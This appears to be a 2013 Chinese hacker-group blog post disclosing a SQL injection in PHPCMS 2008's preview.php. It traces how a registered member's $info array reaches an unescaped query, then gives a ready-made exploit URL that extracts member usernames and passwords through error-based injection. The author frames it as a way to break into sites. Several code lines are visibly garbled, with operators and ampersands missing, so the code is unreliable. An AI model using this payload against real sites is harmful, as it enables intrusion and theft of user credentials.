PHPCMS 2008 最新漏洞(第二季)

说好的第二季来了……

组织:http://www.safekeyer.com/(欢迎访问)

author:西毒blog:http://hi.baidu.com/sethc5

其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.

过程不明显的我就省略了。

在preview.php中第7行

$r=new_stripslashes($info);

我们跟踪new_stripslashes这个函数

在global.func.php中可以找到

function new_stripslashes($string)
{
    if(!is_array($string)) return stripslashes($string);
    foreach($string as $key = $val) $string[$key] = new_stripslashes($val);
    return $string;
}


这个函数的功能不用解释了吧

所以我们看具体应用点再哪?

require dirname(__FILE__).'/include/common.inc.php';
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
require_once CACHE_MODEL_PATH.'content_output.class.php';
require_once 'output.class.php';
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
$r = new_stripslashes($info);   //反转义了.....关键
$C = cache_read('category_'.$r['catid'].'.php');
$out = new content_output();
$r['userid'] = $_userid;
$r['inputtime'] = TIME;
$data = $out-get($r);
extract($data);
$userid = $_username;
for($i=1;$i10;$i++)
{
    $str_attachmentArray[$i] = array("filepath" = "images/preview.gif","description" = "这里是图片的描述","thumb"="images/thumb_60_60_preview.gif");
}
        
$array_images = $str_attachmentArray;
$images_number = 10;
$allow_priv = $allow_readpoint = 1;
$updatetime = date('Y-m-d H:i:s',TIME);
        
$page = max(intval($page), 1);
$pages = $titles = '';
if(strpos($content, '[page]') !== false)  //这里必须还有这个[page]这个字符.....才能操作哈
{
    require_once 'url.class.php';
    $curl = new url();
    $contents = array_filter(explode('[page]', $content));
    $pagenumber = count($contents);
    for($i=1; $i=$pagenumber; $i++)
    {
        $pageurls[$i] = $curl-show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
    }

其中细节我就不说了…

我们看看这个$curl资源句柄中的show方法

$pageurls[$i] = $curl-show($r['contentid'], $i, $r['catid'], $r['inputtime']);
function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
    {
        global $PHPCMS;
        if($catid == 0 || $time == 0 || $prefix == '')
        {
            $r = $this-db-get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
            if($r['isupgrade']  !empty($r['url']))
            {


所以结合前面的……我们x站了吧

给出exp

www.xxxxx.com/preview.php?info[catid]=15content=a[page]binfo[contentid]=2′ and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0×27,username,0x3a,password,0×27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)– a


截图看一下

最后真心说句,360收购漏洞计划,价格真心低….. 哥拒绝了你们

posted @ 2013-04-19 18:22:19 kuye 阅读(9264) 评论(0)
发表评论
昵称
邮箱
网址